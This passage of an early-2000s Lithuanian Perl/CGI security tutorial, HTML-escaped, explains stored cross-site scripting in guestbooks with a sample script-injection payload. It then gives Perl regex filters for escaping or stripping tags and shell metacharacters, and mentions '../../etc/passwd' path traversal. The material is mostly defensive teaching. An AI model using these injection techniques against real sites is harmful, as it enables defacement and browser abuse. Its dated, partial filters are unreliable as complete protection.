                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;ataka&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                  tiek Lietuvoje ... tiek kitur ispopuliarejes atakos metodas 
                  ... nes yra labai paprastas ... ir kaip bebutu keista daznai 
                  suveikiantis neziurint i tai kad nuo jo labai paprasta apsisaugot 
                  ... (apie tai veliau)&lt;br&gt;
                  &lt;br&gt;
                  tau tiesiog tereikia bentkiek moketi HTML ar Script (java,vbscript) 
                  ... uzeini i skyreli &amp;quot;sveciu knyga&amp;quot; ir vietoi &amp;quot;geras 
                  puslapis ... sveikinu tu katik laimejai maikute ... gali jos 
                  nenusirenkti ;)&amp;quot; irasom HTML'o tegus arba skripta pvz:&lt;br&gt;
                  &lt;br&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot;&amp;gt;alert(&amp;quot;nu 
                          ir lama adminas ...&amp;quot;);&amp;lt;/script&amp;gt;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; ir ka ? uzeinam i ta pacia &amp;quot;sveciu knyga&amp;quot; ir paziurim 
                    kas daros ... ogi issoksta lentele su uzrasu 'nu ir lama adminas 
                    ...'&lt;/p&gt;
                  &lt;p&gt; tokiu budu i &amp;quot;sveciu knyga&amp;quot; galima idet pvz : 
                    java skripta ... vb skripta ... java applet'a ar tiesiog '&amp;lt;IMG 
                    ...' su nuoroda i nebloga paveiksleli ... (xxx ar besikraunanti 
                    puse dienos ...) ar dar kaip pavizdi : java skripta atidarinejanti 
                    1000 saves is kuriu kiekvienas atidarineja dar po 1000 ...&lt;br&gt;
                    &lt;br&gt;
                    ir jei serverio administratorius neuzdraudzia HTML bei skriptu 
                    rasymo ... pats kaltas jei isskris is darbo ... sefui pamacius 
                    kas daros su jo firmos puslapiu ...&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;apsauga&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; paprasciausias apsisaugojimo budas - &amp;quot;&amp;lt;&amp;quot; ir 
                    &amp;quot;&amp;gt;&amp;quot; keitimas i &amp;quot;&amp;amp;lt;&amp;quot; ir &amp;quot;&amp;amp;gt;&amp;quot;&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$ivesta =~ s/&amp;lt;/&amp;amp;lt;/g;&lt;br&gt;
                          $ivesta =~ s/&amp;gt;/&amp;amp;gt;/g;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;galimi ir kiti budai:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$ivesta =~ s/&amp;lt; *IMG[^&amp;gt;]+&amp;gt;//ig; # istrina '&amp;lt;img 
                          ... &amp;gt;'&lt;br&gt;
                          $ivesta =~ s/&amp;lt;!--#[^&amp;gt;]+&amp;gt;//g; # istrina '&amp;lt;!--# 
                          ... &amp;gt;'&lt;br&gt;
                          $ivesta =~ s/&amp;lt; *((SCRIPT) | (APPLET) | (EMBED)) [^&amp;gt;]+&amp;gt;//ig; 
                          # istrina '&amp;lt;script ... &amp;gt;','&amp;lt;applet ... &amp;gt;','&amp;lt;embed 
                          ... &amp;gt;'&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                  bet ju neverta naudoti nes anksciau minetas &amp;quot;&amp;lt;&amp;quot; 
                  ir &amp;quot;&amp;gt;&amp;quot; keitimas i &amp;quot;&amp;amp;lt;&amp;quot; ir &amp;quot;&amp;amp;gt;&amp;quot; 
                  viska sutvarko ...&lt;br&gt;
                  &lt;br&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt;
                &lt;td bgcolor="#999999"&gt;07 - aibendrinimas&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;&lt;br&gt;
                  beabejo tai ne vieninteliai cgi/perl skriptu atakos budai ..
                  &lt;p&gt; svarbiausia atsiminti kad jusu skripto saugumas priklauso 
                    tik nuo jusu ir kuo maziau informacijos apie skripto veikima 
                    paliksit viesai prieinamose vietose ... tuo sis skriptas bus 
                    sunkiau iveikiamas ar net neiveikiamas ;) ...&lt;/p&gt;
                  &lt;p&gt; parase skripta neskubekit tuojau det i savo url ... isbandykit 
                    ji !!! ...&lt;/p&gt;
                  &lt;p&gt; parsisiunte nemokama skripta pvz : cc_val.pl ... pervadinkit 
                    ji !!! pvz : cc.pl ... nes tiems kas nesupranta to svarbos 
                    ir rasomi cgi checker'iai iekantys skriptu su tamtikrais pavadinimais 
                    ... isanksto zinant situ skriptu skyles ...&lt;/p&gt;
                  &lt;p&gt; is ivestu duomenu&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;s/([\&amp;amp;;\`'\\\|&amp;quot;*?~&amp;lt;&amp;gt;^\(\)\[\]\{\}\$\n\r])/\\$1/g;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;komanda pasalinkit visus pavojingiausius simbolius &amp;amp;;`'\&amp;quot;|*?~&amp;lt;&amp;gt;^()[]{}$\n\r&lt;/p&gt;
                  &lt;p&gt; kad apsisaugot nuo visokiu &amp;quot;../../etc/passwd&amp;quot; 
                    pasalinkit &amp;quot;..&amp;quot; (s/\.\.//g;) ir pasaulyje liks maziau 
                    bug'ovu skriptu (gerai as cia pasakiau ;) ) ...&lt;/p&gt;
                  &lt;p&gt; be viso sito ... kartais butinas ir $ENV{'REQUEST_METHOD'} 
                    tikrinimas:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;if ($ENV{'REQUEST_METHOD'} ne &amp;quot;POST&amp;quot;) { ... 
                          }&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;tikiuosi sio-to ismokot protingieji (ne ... ne kurmiai ;) 
                    ) perl'o megejai ... na o jei ne ... (ka padarysi ... buna) 
                    RTFM ... nes anksciau ar veliau ... del jusu skriptu skyliu 
                    turesit didesniu ar mazesniu problemu ;)&lt;br&gt;
                    &lt;br&gt;
                    comments r wellcome : by e-mail -&amp;gt; mr2@xxx.lt &amp;lt;- or 
                    on irc -&amp;gt; /server irc.delfi.lt:6667 /join #Perl&lt;br&gt;
                  &lt;/p&gt;
                  &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
          &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt; 
          &lt;td&gt;
            &lt;div align="center"&gt;Copyright by mr2 2001-2002.&lt;/div&gt;
          &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;&lt;small&gt;&lt;b&gt;Edited&lt;/b&gt;: ~Wed Jul  3 17:06:51 2002 (GMT),
by [footpad]:&lt;br /&gt; Modified title, removed extraneous HTML from document, and shortened width for printing.&lt;/small&gt;&lt;/p&gt;</field>
</data>
</node>
